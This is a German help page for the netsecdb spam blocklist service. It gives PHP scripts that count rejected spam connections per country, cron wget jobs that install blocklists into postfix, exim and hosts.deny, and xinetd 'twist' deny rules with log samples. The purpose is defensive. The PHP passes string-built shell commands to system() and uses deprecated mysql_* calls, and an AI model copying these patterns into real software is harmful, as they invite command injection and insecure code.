INSERT INTO `spamstats` VALUES (217, 'TC', 0);
INSERT INTO `spamstats` VALUES (218, 'TV', 0);
INSERT INTO `spamstats` VALUES (219, 'UG', 0);
INSERT INTO `spamstats` VALUES (220, 'UA', 0);
INSERT INTO `spamstats` VALUES (221, 'AE', 0);
INSERT INTO `spamstats` VALUES (222, 'UM', 0);
INSERT INTO `spamstats` VALUES (223, 'UY', 0);
INSERT INTO `spamstats` VALUES (224, 'UZ', 0);
INSERT INTO `spamstats` VALUES (225, 'VU', 0);
INSERT INTO `spamstats` VALUES (226, 'VE', 0);
INSERT INTO `spamstats` VALUES (227, 'VN', 0);
INSERT INTO `spamstats` VALUES (228, 'VG', 0);
INSERT INTO `spamstats` VALUES (229, 'VI', 0);
INSERT INTO `spamstats` VALUES (230, 'WF', 0);
INSERT INTO `spamstats` VALUES (231, 'EH', 0);
INSERT INTO `spamstats` VALUES (232, 'YE', 0);
INSERT INTO `spamstats` VALUES (233, 'ZM', 0);
INSERT INTO `spamstats` VALUES (234, 'ZW', 0);

Um nun die Werte aus der Log-Datei in die Datenbank zu bekommen, läuft bei mir folgendes Script ab. Der Aufruf erfolgt durch 'php counterspammersbycountry.php' mittels cron-job alle 30 Min. Diese Datei kann bei den restlichen script-Dateien für die cron-jobs abgespeichert werden.
counterspammersbycountry.php

<?php
/* SpamCounter - netsecdb
* Zählen der abgewiesenen Versuche aus der Logdatei
*
* Aufruf via cron möglich (z.B. php counterspammersbycountry.php)
*
* Der Include-Pfad ist noch entsprechend anzupassen!
*/

// Config-Datei
include("/var/www/demo.tld/htdocs/include/config_inc.php");
// Variable in config_inc.php gesetzt, holt Daten für Datenbankzugriff
include($pathDBSEC);

if ($debug){
var_dump($argv);
}

$conn = mysql_connect($dbhost, $dbuser, $dbpass) or die ('Error connecting to mysql');
mysql_select_db($dbname);

$countrylist="US,CH,NL,GB,BE,FR,AF,AL,DZ,AS,AD,AI,AQ,AG,AR,AM,AW,AZ,BS,BH,BD,BB,BY,BZ,BJ,BM,BT,BO,BA,BW,BV,BR,IO,BN,BG,BF,BI,KH,CM,CV,KY,CF,TD,CL,CN,CX,CC";
$countrylist=$countrylist.",RS,CO,KM,CG,CD,CK,CR,CI,HR,CU,CY,CZ,DK,DJ,DM,DO,EC,EG,SV,GQ,ER,EE,ET,FK,FO,FJ,FI,GF,PF,TF,GA,GM,GE,GH,GI,GR,GL,GD";
$countrylist=$countrylist.",GP,GU,GT,GN,GW,GY,HT,HM,VA,HN,HK,HU,IS,IN,ID,IR,IQ,IL,JM,JP,JO,KZ,KE,KI,KP,KR,KW,KG,LA,LV,LB,LS,LR,LY,LT,MO,MK";
$countrylist=$countrylist.",MG,MW,MY,MV,ML,MT,MH,MQ,MR,MU,YT,MX,FM,MD,MC,MN,MS,MA,MZ,MM,NA,NR,NP,AN,NC,NZ,NI,NE,NG,NU,NF,MP,NO,OM,PK,PW,PS";
$countrylist=$countrylist.",PA,PG,PY,PE,PH,PN,PL,PT,PR,QA,RE,RO,RU,RW,SH,KN,LC,PM,VC,WS,SM,ST,SA,SN,CS,SC,SL,SG,SK,SI,SB,SO,ZA,GS,ES,LK,SD";
$countrylist=$countrylist.",A2,DE,A1,SR,SJ,SZ,SE,SY,TW,TJ,TZ,TH,TL,TG,TK,TO,TT,TN,TR,TM,TC,TV,UG,UA,AE,UM,UY,UZ,VU,VE,VN,VG,VI,WF,EH,YE,ZM,ZW";
$country = explode(',', $countrylist);

$countrycounter=0;
foreach($country as $land){

$cmd="cat ".$seclog." | grep 'NOQUEUE: reject:' | grep 'from ".$land."' | wc -l";
$numberland=system($cmd);
$howmany=intval($numberland);
if ($debug){
echo "Land: ".$land." Spammer: ".$howmany;
}
$query="UPDATE spamstats SET number=".$howmany." WHERE country='".$land."'";
$countrycounter++;

if ($debug){
print "$query\n";
}

$result = mysql_query($query);

}

print $countrycounter." Laender.\n";

mysql_close($conn);
?>

Nun aber zu dem Counter und den include-Dateien. Speicherort ist im Verzeichnis des Webservers, bei der Serverhomepage.
include/config_inc.php
<?php
/* Spam Counter - netsecdb
Hier sollten allgemeine Variablen gefüllt werden.
Damit können dann hardcodierte Sequenzen aus dem Code genommen werden
*/

// Versionsänderungen hier erfassen
$_SESSION[VERSION] = "0.0.1";
// 2008-08-13 - config_inc.php hinzugefügt

$Author='Name';
$AuthorEmail='info@demo.tld';

//Pfad zur dbsec.php
$pathDBSEC='/usr/local/admin/sec/dbsec.php';

//globale Variablen
$counter=0;
$debug=0;

//aus welcher Log-Datei sollen die Daten gelesen werden?
$seclog='/var/log/syslog';
?>

Die Datei mit den Zugangsdaten zur Datenbank. Der Speicherort sollte mit der Variable '$pathDBSEC' aus der Datei config_inc.php übereinstimmen!
dbsec.php

<?php
/* Diese Datei ausserhalb des Webverzeichnisses speichern
* und Zugriffsrechte entsprechend einschränken !!
*
* Host - Datenbankname - User und Pswd setzen
*/
$dbhost='localhost';
$dbuser = 'Benutzername-DB';
$dbpass = 'Passwort-DB';
$dbname = 'spamcounter';
$dbtable = 'spamstats';
?>

Und hier noch der eigentliche Counter. Je nach Webseitenaufbau muss halt auch die Integration in die Seite noch angepasst werden.
datenanzeige.php

<?php
/* SpamCounter - netsecdb
* Datenanzeige der top 25
*
* Aufbau als Tabelle
*/
include("./include/config_inc.php");
include($pathDBSEC);

$conn = mysql_connect($dbhost, $dbuser, $dbpass) or die ('Error connecting to mysql');
mysql_select_db($dbname);

// Letz get stats
// auslesen der Top 25 Länder
$query1 = "SELECT country,number FROM ".$dbtable." ORDER BY number DESC limit 0,25";
// auslesen der Zähler
$query2 = "SELECT number FROM ".$dbtable;
// auslesen der gezählten Länder
$query3 = "SELECT * FROM ".$dbtable." WHERE `number` > 0";

if ($debug){
print "$query1\n";
print "$query2\n";
print "$query3\n";
}
$result1 = mysql_query($query1);
$result2 = mysql_query($query2);
$result3 = mysql_query($query3);
$counter=0;

//Tabelle für Anzeige erstellen
echo "";
echo "";
echo "Top 25 der registrierten Länder";
echo "Kleine Statistik über die Resultate von netsecdb.";
echo "Die Aktualisierung der Daten erfolgt alle 30 Min.";
echo "Die Werte werden jeweils bei der nächsten Log-Rotation wieder auf Null gesetzt.";
echo "";
echo "";
echo "";
while($row = mysql_fetch_array($result1, MYSQL_ASSOC))
{
echo "";
echo "".$row['country']."   ";
echo "".$row['number']."";
echo "";
$counter++;
}
echo "";

// hier noch das Tagestotal einfügen
while($row = mysql_fetch_array($result2, MYSQL_ASSOC))
{
$tagestotal=$tagestotal+$row['number'];
}
echo "heute";
echo "".$tagestotal."";
echo "";

// und hier noch die gesamthaft erfassten Länder
$anzahllaender = mysql_num_rows($result3);
echo "Total Länder";
echo "".$anzahllaender."";
echo "";

mysql_close($conn);
?>

So, damit sollte es eigendlich jedem Nutzer von netsecdb möglich sein eine eigene Statistik in seine Webseite zu integrieren.

z.B. als cronjob:

baseurl ist eine Variable!

Je nach Beta oder Vollversion.
Der user muss einen locationschutz-account von mir angelegt bekommen.

Ich habe jetzt ein paar Leute /baseurl/xyz aufrufen sehen ;)

Also - meldet Euch vorher!

für postfix:

#!/bin/sh
wget -o /var/log/getevilfiles.log --http-user=username --http-password=password -O /etc/postfix/evil-clients.cidr.new.gz http://www.netsecdb.de/baseurl/evil-client-file
gzip -d /etc/postfix/evil-clients.cidr.new.gz
mv /etc/postfix/evil-clients.cidr.new /etc/postfix/evil-clients.cidr

für exim4:

#!/bin/sh
wget -o /var/log/getevilfiles.log --http-user=username --http-password=password -O /etc/exim4/exim4_local_host_blacklistfile.gz http://www.netsecdb.de/baseurl/exim4_local_host_blacklistfile
gzip -d /etc/exim4/exim4_local_host_blacklistfile.gz
mv /etc/exim4/exim4_local_host_blacklistfile /etc/exim4/exim4_local_host_blacklist

für plesk:
wget -o /var/log/gethostfiles.log --http-user=username --http-password=password -O /etc/hosts.deny.new.gz http://www.netsecdb.de/baseurl/hosts-deny-file
gzip -d /etc/hosts.deny.new.gz
mv /etc/hosts.deny.new /etc/hosts.deny
/etc/init.d/xinetd reload

windows:
http://www.gnu.org/software/wget/

woltlab und drupal-Modifikationen sind kein Bestandteil des Betaprogrammes.

Ebenso ist der Direktzugriff auf die netsecdb für betauser nicht gestattet.

Ab 2:35 bis ca. 5 Uhr nachts werden die Hauptbackups von Datenbank und Content gefahren. Die Antwortzeiten des Servers sind dadurch nicht gerade performant.

Wir erzeugen 2 Dateien für MS-Exchange7:

  • Variante1: permante Einträge
  • Variante2: Einträge, die nach 30 Tagen verfallen

Die Version mit Verfallsdatum hat 'expire' im Dateinamen.

UPDATE: Getestet mit Microsoft 2003 Server und Exchange 2007 Standard.

Technet HowTo für automatisierte Scriptausführung

z.B.:

powershell.exe -PSConsoleFile "C:\Programme\Microsoft\Exchange Server\bin\exshell.psc1" -noexit -command ". 'c:\msexchange7-Add-IPBlockListEntries.expire.full.ps1'"

In der Exchange Verwaltungsshell lässt sich mit
Get-IPBlockListEntry
die Liste der gesperrten Netze ausgeben.

Ein Eintrag kann mit
Remove-IPBlockListEntry -Identity (Nummer)
entfernt werden.

Aktivieren der Antispam-Funktionen in MS Exchange 2007

Generelle Infos zum Einsatz von IPBlockList

Kommt auf die Konfiguration an - wenn xinetd da reinloggt, sollte es ungefähr so aussehen:

Jul 30 19:56:06 srv01 xinetd[9704]: twist mail.howe.com to echo -e '550 SMTP/S access denied.\n netsecurity-db status: 80.62.0.0/15 recorded as spammer (2008-07-01).\nRef-ID: 731894 from: DK\nSee http://www.netsecdb.de for more info.\n\n';sleep 2

Jul 30 19:56:07 srv01 xinetd[9702]: twist r190-134-53-42.dialup.adsl.anteldata.net.uy to echo -e '550 SMTP/S access denied.\n netsecurity-db status: 190.134.0.0/16 recorded as spammer (2008-07-09).\nRef-ID: 3340512 from: UY\nSee http://www.netsecdb.de for more info.\n\n';sleep 2
Jul 30 19:56:07 srv01 xinetd[9708]: twist ::ffff:94.98.145.88 to echo -e '550 SMTP/S access denied.\n netsecurity-db status: 94.96.0.0/14 rec orded as spammer (2008-07-10).\nRef-ID: 3325209 from: \nSee http://www.netsecdb.de for more info.\n\n';sleep 2
Jul 30 19:56:12 srv01 xinetd[9720]: twist clt-84-32-235-166.vdnet.lt to echo -e '550 SMTP/S access denied.\n netsecurity-db status: 84.32.0.0/16 recorded as spammer (2008-07-03).\nRef-ID: 1194621 from: LT\nSee http://www.netsecdb.de for more info.\n\n';sleep 2
Jul 30 19:56:12 srv01 xinetd[9722]: warning: /etc/hosts.deny, line 25: can't verify hostname: getaddrinfo(243-76-112-92.pool.ukrtel.net): Name or service not known
Jul 30 19:56:12 srv01 xinetd[9722]: twist 92.112.76.243 to echo -e '550 SMTP/S access denied.\n netsecurity-db status: 92.112.0.0/15 recorded as spammer (2008-07-07).\nRef-ID: 269163 from: UA\nSee http://www.netsecdb.de for more info.\n\n';sleep 2

wenn nichts im log auftaucht, kann man mit:

ps ax | grep 'access denied'
9812 ? S 0:00 sh -c echo -e '550 SMTP/S access denied.\n netsecurity-db status: 94.96.0.0/14 recorded as spammer (2008-07-10).\nRef-ID: 3325209 from: \nSee http://www.netsecdb.de for more info.\n\n';sleep 2
9816 pts/0 S+ 0:00 grep access denied

nachsehen, ob aktiv geblockt wird.

Ein Beispiel:

Ein Forum wird in den USA inmitten eines

/16 /17 Spammer-Netzes gehostet.
Die Mails wollen wir aber haben - alles andere nicht.

Öffne /etc/hosts.allow und füge eine Zeile

tcp-env: 72.233.62.72 : ALLOW

oder

tcp-env: 72.233.62.0/24 : ALLOW

hinzu, um einen größeren Bereich zu definieren.

Zum Schluß xinetd mit '/etc/init.d/xinetd restart' neu einstarten.

oder noch einfacher:

den Host in der netsecdb mit den benötigten protokollen (smtp/http/ANY) whitelisten lassen. Damit wird er automatisch in der generierten hosts.allow, .htaccess und den iptables-scripten freigeschaltet.

Nur nach der ersten Änderung der main.cf.
Bei den Tests hat postfix danach Änderungen der evil-client.cidr sofort ohne Neustart übernommen.

Connected to mailhost.

Escape character is '^]'.

helo xxx
220 mailhost ESMTP Postfix (Debian/GNU)
250 mailhost
helo xxx
250 mailhost
mail from:service@netsecdb.de
250 2.1.0 Ok
rcpt to:user@mailhost
554 5.7.1 ]>: Client host rejected: 550 SMTP/S access denied. netsecurity-db status: recorded as spammer (date) Ref-ID: from [country]. See http://www.netsecdb.de for more info.

Der File kommt gzip komprimiert.

also erstmal mit 'gzip -d evil-clients.cidr.gz' auspacken

danach mit 'cp evil-clients.cidr /etc/postfix/evil-clients.cidr' kopieren

in der main.cf config-datei von postfix (meist unter/etc/postfix) den eintrag:
'smtpd_client_restrictions = check_client_access cidr:/etc/postfix/evil-clients.cidr'
hinzufügen bzw vorhandenen erweitern

postfix mit '/etc/init.d/postfix restart' neu einstarten

getestet mit Debian Etch 4.0 2.6.18-6-686
produktiv im Einsatz mit Debian Lenny.

Der Header:

# /etc/hosts.deny

# See 'man tcpd' and 'man 5 hosts_access' as well as /etc/hosts.allow
# for a detailed description.
#
#
#generated on <datum> on www.netsecdb.de
#
#
#
# if you remove or modify the texts reffering to netsecdb.de you loose the right to use this data.
#
#
#(c) 2008 by Claus Marxmeier

Ein Eintrag für alle nicht auflösbaren Netze:
tcp-env: UNKNOWN : twist echo -e '550 SMTP/S access denied.\nSee http\://www.netsecdb.de for more info.\n\n\rGod grant me the serenity to accept the things I cannot change,\ncourage to change the things I can,\nand the wisdom to know the difference.\n\n';sleep 2

Typischer Eintrag für ein Netz aus China:
tcp-env: 58.17.128.0/17 : twist echo -e '550 SMTP/S access denied.\n netsecurity-db status\: 58.17.128.0/17 recorded as spammer (2008-07-08).\nRef-ID\: 2284255 from\: CN\nSee http\://www.netsecdb.de for more info.\n\n';sleep 2

Im syslog taucht dann bei Blockung folgendes auf:

Jul 24 09:33:50 srv01 xinetd[1456]: twist ::ffff:217.115.86.246 to echo -e '550 SMTP/S access denied.\n netsecurity-db status: 217.115.80.0/20 recorded as spammer (2008-06-30).\nRef-ID: 999040 from: RU\nSee http://www.netsecdb.de for more info.\n\n';sleep 2

Die obige hosts.deny wurde für plesk mit qmail generiert. Der gesperrte prozess heisst dort 'tcp-env'.

 

Zuerst einmal sicherstellen, dass xinetd libwrap unterstützt.

Dazu 'xinetd -version' aufrufen - da muss dann libwrap angezeigt werden.

Falls vorhanden, die originatldatei mit 'cp /etc/hosts.deny /etc/hosts.deny.old' sichern.
Danach unsere hosts.deny auf den Server laden und auf die Position /etc/hosts.deny kopieren.
Mit '/etc/xinetd restart' den daemon neu einstarten.

Ab jetzt blockt der daemon Verbindungen der gesperrten Netze.